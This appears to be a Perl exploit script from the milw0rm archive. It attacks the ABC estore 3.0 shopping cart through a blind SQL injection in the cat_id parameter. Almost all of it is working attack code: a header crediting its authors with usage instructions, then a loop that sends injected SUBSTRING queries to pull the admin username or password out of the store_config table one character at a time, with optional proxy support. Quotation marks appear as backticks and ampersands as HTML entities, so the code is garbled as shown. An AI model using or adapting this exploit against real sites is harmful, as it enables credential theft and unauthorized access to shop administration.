ABC estore 3.0 (cat_id) Remote Blind SQL Injection Exploit#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
 print `\n  |-------------------------------------------------|`;
 print `\n  |               newhack[dot]org                   |`;
 print `\n  |-------------------------------------------------|`;
 print `\n  |   ABC estore 3.0 (cat_id) Blind SQL Injection   |`;
 print `\n  |     Found by k1tk4t [k1tk4t(at)newhack.org]     |`;
 print `\n  |   DNX Code [dnx(at)hackermail.com] | Modified   |`;
 print `\n  |-------------------------------------------------|`;
 print `\n[!] Vendor: http://www.webtoolup.com/`;
 print `\n[!] Bug: in the index.php script, u can inject sql code in the (cat_id) parameter`;
 print `\n[!] Need Subcategories Product for success exploit`;
 print `\n[!] Usage: perl abcestore.pl [Host] [Path] <Options>`;
 print `\n[!] Example: perl abcestore.pl 127.0.0.1 /shop/ -c 10 -o 1 -t store_config`;
 print `\n[!] Options:`;
 print `\n       -c [no]       Valid cat_id products with subcategories, default is 1`;
 print `\n       -o [no]       1 = get username (default)`;
 print `\n                     2 = get password`;
 print `\n       -t [name]     Changes the admin table name, default is store_config`;
 print `\n       -p [ip:port]  Proxy support`;
 print `\n`;
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $cat     = 1;
my $column  = `user`;
my $table   = `store_config`;
my %options = ();
GetOptions(\%options, `c=i`, `o=i`, `t=s`, `p=s`);

print `[!] Exploiting...\n`;

if($options{`c`}) { $cat = $options{`c`}; }
if($options{`o`} &amp;&amp; $options{`o`} == 2) { $column = `pass`; }
if($options{`t`}) { $table = $options{`t`}; }

syswrite(STDOUT, `[!] Data : `, 12);

for(my $i = 1; $i <= 32; $i++)
{
 my $found = 0;
 my $h = 48;
 while(!$found &amp;&amp; $h <= 57)
 {
   if(istrue2($host, $path, $table, $i, $h))
   {
     $found = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$found)
 {
   $h = 97;
   while(!$found &amp;&amp; $h <= 122)
   {
     if(istrue2($host, $path, $table, $i, $h))
     {
       $found = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print `\n[!] Exploit done\n`;

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $table = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $url = `http://`.$host.$path.`index.php?cat_id=`.$cat.`%20AND%20SUBSTRING((SELECT%20`.$column.`%20FROM%20`.$table.`%20LIMIT%200,1),`.$i.`,1)=CHAR(`.$h.`)`;

 if($options{`p`})
 {
   $ua->proxy('http', `http://`.$options{`p`});
 }

 my $response = $ua->get($url);
 my $content = $response->content;
 my $regexp = `Subcategories`;

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }
}

# milw0rm.com [2007-08-29]